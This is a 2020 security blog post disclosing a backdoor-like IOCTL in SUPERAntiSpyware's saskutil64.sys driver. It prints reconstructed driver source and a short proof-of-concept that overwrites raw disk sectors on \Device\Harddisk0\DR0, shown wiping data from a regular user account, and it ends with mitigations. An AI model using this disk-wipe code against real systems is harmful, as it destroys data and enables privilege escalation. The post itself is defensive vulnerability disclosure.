Sunday, March 1, 2020

SUPERAntiSpyware Backdoor SASKUTIL64

Intro


Pic 1.Official logo that perfectly fits context.

While you probably never used this software you for sure heard about it like 10-12 years ago when it was heavily advertised as ultimate solution to the Windows spyware. From my opinion it always was a digital placebo which was hard to distinguish from typical fake av of that times. And, what a surprise, this software contain a specially designed system level backdoor any local user can use.

Quote from product web-site:

Protect your PC from malicious threats from malware, spyware, ransomware, trojans, keyloggers, and more.

No, it is not capable of that.

 

Drivers


SUPERAntiSpyware has a few kernel mode drivers in it typical x64 installation, no matter Free or Pro version. These drivers are: saskutil64.sys and sasdifsv64.sys - both have no description so I myself figured out what they do. For x86-32 version these drivers also present as saskutil.sys, sasdifsv.sys, however they contain much more functionality and have several unfixed CVE assigned: CVE-2018-6471, CVE-2018-6472, CVE-2018-6473, CVE-2018-6474, CVE-2018-6476. Why do I know they are unfixed? Doesn't even need to check the code - all drivers compiled and signed NINE years ago in 2011 😊 Honestly I think they either lost drivers source code or lost their developers who can refactor code and fix mentioned bugs. Plus SUPERAntiSpyware itself has EoP CVE-2018-6475. Very cool already isn't? Seems SUPERAntiSpyware era ended together with Windows XP EOL, F. The 32bit drivers are pure BSOD/EoP generators and it was already mentioned like 10 years ago here -> https://seclists.org/fulldisclosure/2010/Mar/195 However it is all not so important or useful because it apply to 32bit version. 

In x64 version all devices in all drivers have default security descriptor and can be accessed for read/write by everyone. We are looking for something that can be useful for us, extra functionality we can use later in different project(s).

First driver I took was sasdifsv64.sys, it does nothing as "driver" (despite having device object and symbolic link) and it only purpose is to execute two procedures at entry point. Purpose of them - read list of files from dedicated registry subkey and either delete or move them. This is a typical shitcode solution often seen in low quality products.

Backdoor


Saskutil64 is much more interesting. It has a single IOCTL 0x9C402140 and it has unexpected functionality. This IOCTL handler invokes function I called "SaskCallDriver" which purpose is to build synchronous I/O write request and send it to device specifed by user by name. This function works with user mode supplied buffer of the fixed size that is a structure defined as:

typedef struct _CALL_DRV {
    WCHAR DeviceName[2048];

    LARGE_INTEGER StartingOffset;      
    SIZE_T DataSize;                   
    PVOID DataPtr;          
} CALL_DRV, * PCALL_DRV;


This structure declaration is self explaining, DeviceName should be fully qualified name of the device and DataPtr is a pointer to buffer located in user mode. The SaskCallDriver function bugged itself as it misses error handling in critical parts of the code and wrong data from user mode can easily result in system denial of service. Reconstructed source code of function below, note multiple bugs which can only be made by totally incompetent developers:

NTSTATUS SaskCallDriver(PIRP Irp)
{
    CALL_DRV* CallDrvStruct;
    PVOID writeBuffer;
    IRP* writeIrp;
    UNICODE_STRING deviceString;
    IO_STATUS_BLOCK statusBlock;
    KEVENT waitEvent;
    PDEVICE_OBJECT deviceObject;
    LARGE_INTEGER startingOffset;
    PFILE_OBJECT fileObject;

    CallDrvStruct = (CALL_DRV*)Irp->AssociatedIrp.SystemBuffer;

    __try {

        //
        // This entire part makes no sense because IOCTL has transfer type METHOD_BUFFERED.
        // Thus pointer will always be kernel mode and this code will never be executed.
        //
        if ((ULONG_PTR)CallDrvStruct < 0x8000000000000000)
        {
            ProbeForRead(CallDrvStruct, 4120, 1);
            ProbeForWrite(CallDrvStruct, 4120, 1);
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {

        return STATUS_ACCESS_VIOLATION;

    }

    __try {

        writeBuffer = CallDrvStruct->DataPtr;

        //
        // This address comparison check ruins ProbeFor* functionality.
        // If invalid kernel address will be passed it won't be checked and code later will bugcheck.
        //
        if ((ULONG_PTR)writeBuffer < 0x8000000000000000)
        {
            ProbeForRead(writeBuffer, CallDrvStruct->DataSize, 1);
            ProbeForWrite(CallDrvStruct->DataPtr, CallDrvStruct->DataSize, 1);
        }

    }
    __except (EXCEPTION_EXECUTE_HANDLER) {

        return STATUS_ACCESS_VIOLATION;

    }

    RtlInitUnicodeString(&deviceString, CallDrvStruct->DeviceName);

    IoGetDeviceObjectPointer(&deviceString, 0x80, &fileObject, &deviceObject);  // No check of API call

    startingOffset = CallDrvStruct->StartingOffset;

    KeInitializeEvent(&waitEvent, NotificationEvent, FALSE);

    writeIrp = IoBuildSynchronousFsdRequest( // No check of API call
        IRP_MJ_WRITE,
        deviceObject,
        CallDrvStruct->DataPtr,
        CallDrvStruct->DataSize,
        &startingOffset,
        &waitEvent,
        &statusBlock);

    writeIrp->Flags = IRP_BUFFERED_IO;

    if (IofCallDriver(deviceObject, writeIrp) == STATUS_PENDING) // This will bugcheck if anything from above failed.
        KeWaitForSingleObject(&waitEvent, Executive, KernelMode, FALSE, NULL);

    return STATUS_SUCCESS;
}


This is pure backdoor by it nature, design and implementation. There is no security checks implemented in driver, it device has default security descriptor, it is also a complete disaster from programming point of view because authors of this code does not understand basics of Windows driver development at all. 

This code gives any local user ability write arbitrary data to the arbitrary device. I took some time looking how SUPERAntiSpyware uses this and it turns out it has NTFS parsing ability, so this IOCTL is used to work with filesystem data, presumable modify existing files/attributes during "spyware removal" procedures. As you can understand the usage of this feature maybe various, from trivial data wipe similar to APTs based on EldoS RawDisk (like for example Dustman) to elevation of privilege through rewriting files on disk. There is no adequate fix for this except removing that functionality completely and thus rewriting this driver from scratch. Below is a demonstration in Windows 10 latest version from regular user account. It is simple data wipe of disk sectors with:

    WCHAR writeData[512];

    memset(&writeData, 0xFF, sizeof(writeData));
    RtlSecureZeroMemory(&request, sizeof(request));

    wcscpy_s(request.DeviceName, L"\\Device\\Harddisk0\\DR0");
    request.DataSize = sizeof(writeData);
    request.DataPtr = (PVOID)&writeData;

    for (ULONG i = 0; i < 65; i++) {

        request.StartingOffset.LowPart = (i * 512);
        printf_s("[+] Writing 512 bytes buffer in DR0 device at offset 0x%llx\r\n", request.StartingOffset.QuadPart);

        ntStatus = CallDriver(deviceHandle,
            IOCTL_SAS_CALLDRIVER,
            &request,
            sizeof(CALL_DRV),
            NULL,
            0);

        printf_s("[+] CallDriver NTSTATUS 0x%lX\r\n", ntStatus);

    }



Pic 2. SASKUTIL device, default security descriptor.

Pic 3. Windows 10 version.

Pic 4. Data wipe in progress.
Pic 5. Data wipe complete.

Theoretically you can even try to send some tcp/udp packets with this thing. Such an ironic end of that SUPERAntiSpyware 😉 All current x64 versions with same driver and functionality are vulnerable - basically you can destroy all data on every PC where SUPERAntiSpyware x64 version installed and do this from any local account.

Since impact of making such information public maybe destructive it was decided notify vendor first. However it turns out they don't have easy ways to do that. In process of trying to communicate it was discovered that this vendor had previously ignored all found exploits for two years and produced series of absolutely inadequate fixes for exploits ten years ago, basically leaving them as is. Taking into account this and the fact that SUPERAntiSpyware as product looks totally obsolete it was decided to make information public. However if you for some unknown reason still use this software see Mitigations part to eliminate your risks. As of new users I highly do not recommend try/consider a purchase this software - this is not only waste of your time/money but also keep it mind you are installing easy to use backdoor on your PC which cannot be easily prevented.

Mitigations


As mitigations I would suggest immediately remove SUPERAntiSpyware and make sure it uninstalled all it drivers - check it files and registry entries. Until vendor will not remove this "functionality" backdoor completely this program should be considered dangerous to use. However history of SUPERAntiSpyware driver exploits shows these drivers are created by incompetent developers who are unfamiliar with Windows drivers development, so only possible good fix - total removal of drivers from this product.

SUPERAntiSpyware driver SASKUTIL64.sys should be blacklisted by file hash or certificate as it can be used by data wiping malware (most obvious and easy use). And don't forget to use latest available Windows 10 with hypervisor enforced code integrity and WD enabled (at least its written by much more competent devs).

No comments:

Post a Comment

Note: Only a member of this blog may post a comment.